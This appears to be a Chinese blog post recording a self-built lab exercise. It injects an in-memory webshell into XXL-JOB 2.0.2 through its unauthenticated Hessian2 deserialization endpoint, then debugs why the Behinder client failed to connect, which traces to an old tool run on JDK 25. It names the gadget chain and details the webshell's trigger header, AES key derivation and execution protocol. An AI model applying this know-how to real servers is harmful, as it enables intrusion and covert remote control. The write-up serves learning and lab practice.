☰
新手常犯,内存马连不上冰蝎?查到最后,凶手是 JDK 版本
2026/9/28 20:51:51 网站建设 项目流程

内存马连不上冰蝎?查到最后,凶手是 JDK 版本

一次 XXL-JOB 2.0.2 内存马注入后的排障记录。
结论先放前面:冰蝎 v4.1 用 JDK 25 启动时,会一个请求都不发,表现就是"连接失败"。换成 JDK 8,秒连。


一、背景

目标是 XXL-JOB 2.0.2 的后台,利用其未授权的 Hessian2 反序列化入口/xxl-job-admin/api打内存马。

  • 服务端:Spring Boot 1.5.20 + 内嵌 Tomcat 8.5.39,JDK 8,context 为/xxl-job-admin
  • 入口:/xxl-job-admin/api对应com.xxl.rpc.remoting.net.impl.servlet.server.ServletServerHandler,未授权即可反序列化
  • 利用链:java-chains 的Hessian2Payload → XsltOnlyJdk → JsConvert → BytecodeConvert → JmgGadget

内存马通过defineClass把一段字节码塞进 JVM,不落地文件,然后用冰蝎(Behinder)连上去操作。注入很顺利,问题全都出在"连冰蝎"这一步。


二、现象

内存马注入完成后,冰蝎配置:

项值
地址http://<靶场>:8080/xxl-job-admin/api(一开始)
连接密码zNpZlY
请求头Accept: rasSLfbCVSQrAhWXdvWW
脚本类型jsp / 加密器:默认

连接失败。界面空白 / 超时,没有任何有用报错。


三、排障过程

3.1 第一步:先确认"马"本身活着

不要一上来就怀疑密码、编码、路径。先证明马到底是死是活——写一个"山寨冰蝎"的 Java 客户端,直接按内存马的协议发一条请求,看服务端回什么。

内存马的协议(从字节码逆向出来的)是固定的:

POST <任意路径> 请求头: Accept: <headerValue> 请求体: base64( AES( payload类的字节码 ) ) // 单独一行

服务端收到后:

  1. 校验请求头里包含headerValue
  2. 把session属性"u"设为pass
  3. base64 解码 → AES 解密得到一段 class 字节
  4. defineClass加载 →newInstance()→ 调用equals(HashMap{request, response, session})
  5. payload 在equals里把结果AES 加密 + base64写回 response

密钥key = MD5(连接密码)[:16](16 个十六进制字符当 ASCII 用)。例如密码zNpZlY→7d34f5e14103ac07。

山寨客户端本地跑通后,打到靶场:

[*] payload class = 6027 bytes, key = 7d34f5e14103ac07 [*] HTTP 200 / response 898 bytes ---- raw response (first 400 bytes) ---- Li2VDD8yRSjgrhK/ZguF52ixxy/BEAKVUY7gJjHPp+o+iAtW39MLOPw+GVq2XV52yRmz9tlYaRXlgB3u/OOK4Q==<!DOCTYPE html> <html><head><meta charset="UTF-8"><title>Error</title>... ---- decrypt ---- [X] whole body decrypt failed: Input byte array has incorrect ending byte at 88 [PART] leading base64 run decrypted -> PONG|os=Linux|key=7d34f5e14103ac07|t=1790500075295

关键信息全在这了:

  • 马是活的,PONG|os=Linux|key=7d34f5e14103ac07说明它正常执行、正常回数据
  • 但密文后面被拼了一段 HTML 错误页,整段没法解密 → 冰蝎自然也是这个下场

3.2 定位:Listener 的"顺路踩踏"

这次注入的是Listener(监听器)类型的马,它有个特点:请求进来它先跑,跑完请求还会继续往下走。

流程是这样的:

  1. Listener 先触发,为了解密它调用了request.getReader(),把请求体读走了
  2. 请求继续往下走,落到/api这个 Servlet
  3. /api又要调request.getInputStream()读 body
  4. 同一个请求里getReader()和getInputStream()不能混用 → 直接抛
    java.lang.IllegalStateException: getReader() has already been called for this request
  5. Tomcat 把这个异常做成了错误页,拼在密文后面

用 curl 一验就明白(带上/不带请求头,同一个路径对比):

/zzz 不带 Accept → 404 (马没触发) /zzz 带 Accept → 500 (马触发了,但我发的是空 body,解密失败) /api 带 Accept → 200 + IllegalStateException: getReader() has already been called

3.3 解决响应污染:换个"没人管"的路径

既然问题是"请求继续走到了/api",那就让它走一个不存在的路径,没人再来读 body,也就不会报错。

把地址从/api换成/zzz(随便一个不存在的路径),同一个山寨客户端再打:

[*] HTTP 200 / response 88 bytes ---- raw response (first 400 bytes) ---- Li2VDD8yRSjgrhK/ZguF52ixxy/BEAKVUY7gJjHPp+oLx3XCTw+OrQ5BoQZGhabKyTQWds+PycFwQvoNIwfPQQ== ---- decrypt ---- [OK] whole body decrypted -> PONG|os=Linux|key=7d34f5e14103ac07|t=1790500199650

干净了,整段能直接解出PONG。

记一笔:Listener 类型的马,连接地址千万别指到/api这种会读 body 的接口,否则响应永远是被污染的。

到这一步,理论上冰蝎把地址改成/zzz就该连上了。然而——

3.4 冰蝎还是连不上,而且最诡异的是:它一个包都没发

继续排查。在冰蝎所在的主机上起一个 TCP 监听,看它到底发了什么:

# 简化版:监听 127.0.0.1:9000,把收到的原始 HTTP 打印出来$listener=New-ObjectSystem.Net.Sockets.TcpListener([System.Net.IPAddress]::Loopback,9000)$listener.Start()while($true){$client=$listener.AcceptTcpClient()$stream=$client.GetStream()$buf=New-Objectbyte[]16384$n=$stream.Read($buf,0,$buf.Length)[Text.Encoding]::GetEncoding('ISO-8859-1').GetString($buf,0,$n)$client.Close()}

注意一个高频坑:监听一定要和冰蝎在同一台机器上。冰蝎在 Windows 主机上跑,监听就该开在主机;开在 Kali 虚拟机上的话,主机上的127.0.0.1是它自己,永远抓不到。

结果:监听器里始终只有我自己 curl 的探活请求,冰蝎一条都没有。

也就是说,冰蝎看起来在"连接",实际上根本没往外发请求。

3.5 抓不到就去看它自己

既然行为诡异,直接看这个软件的配置和运行状态。

(1)读它的 shell 配置——冰蝎 v4.1 把 shell 列表存在同目录的data.db(SQLite)里:

http://127.0.0.1:9000/zzz 127.0.0.1 zNpZlY jsp Accept: rasSLfbCVSQrAhWXdvWW default http://192.168.1.128:8080/xxl-job-admin/api 192.168.1.128 RdSLyemTjw jsp Accept: QwbtGFvEdYbEWjIsN default

配置本身没问题:地址、密码、请求头都对。

(2)看它的运行参数(它是桌面程序,看不到控制台,就从进程命令行看):

Get-CimInstanceWin32_Process-Filter"ProcessId=35460"|Select-Object-ExpandProperty CommandLine# "C:\Program Files\Java\jdk-25.0.2\bin\javaw.exe" -jar "...\Behinder_v4.1.t00ls\Behinder.jar"

一眼看到问题:它用的是 JDK 25。

Behinder v4.1 是 2023 年的工具,跑在 JDK 25 这种新版本上,很可能在真正发请求之前就抛异常/静默失败了。


四、根因与修复

根因:冰蝎 v4.1 跑在 JDK 25 上,请求根本发不出去。

(同一台机器上JAVA_HOME其实指着 JDK 8,但冰蝎的启动方式用了 JDK 25。)

修复:用 JDK 8 重新启动冰蝎。

Stop-Process-Id <冰蝎PID>-Force &"C:\Program Files\Java\jdk1.8.0_172\bin\javaw.exe"-jar Behinder.jar

换 JDK 8 之后,监听器立刻抓到了冰蝎的完整请求:

POST /zzz HTTP/1.1 Accept: rasSLfbCVSQrAhWXdvWW Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0 Content-Length: 9856 Connection: Keep-Alive Accept-Encoding: gzip yKTLmdso2qSPdeogPsZNNngmI6xFHJxs... (9856 字节 base64 的 AES payload)

请求头、请求体都对。把地址指回靶场的/zzz——连接成功。


五、踩坑清单(可直接抄)

  1. 连接失败先别怀疑密码/编码。先写个最小客户端或发条 curl,确认马本身活着、能回数据。
  2. AES 密钥不是密码本身,是MD5(密码)[:16]。搞错这个会一直"解不出来"。
  3. Listener 类型的马别连/api这类会读 body 的接口。Listener 拦不住请求往下走,后面的 Servlet 一读 body 就抛异常,Tomcat 把错误页拼在密文后面,冰蝎解不了。换一个不存在的路径即可。
  4. 抓包监听一定要开在冰蝎所在的那台机器上。127.0.0.1指的是"本机自己",跨机器时此处是最大的坑。
  5. 桌面工具"没反应",先看它用什么 Java 跑的。老工具 + 新 JDK 是经典组合坑。冰蝎 v4.1 请用JDK 8。判断方法:Get-CimInstance Win32_Process看命令行,或读data.db看配置。
  6. 抓不到网络流量时,换个维度看。读它的配置文件(SQLite)、截屏 + OCR 看界面状态、看进程参数,都有用。

附:内存马协议速查

环节说明
入口POST,请求体 =base64(AES(payload类字节码)),单独一行
触发条件请求头含headerValue(如Accept: rasSLfb...)
密钥MD5(连接密码)[:16],16 字节 ASCII
加密AES/ECB/PKCS5Padding
执行defineClass(class) → newInstance() → equals(HashMap{request, response, session})
回包payload 把结果AES + base64写进 response

本文所有密码/请求头均为靶场实测值,环境为自建、仅供学习。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询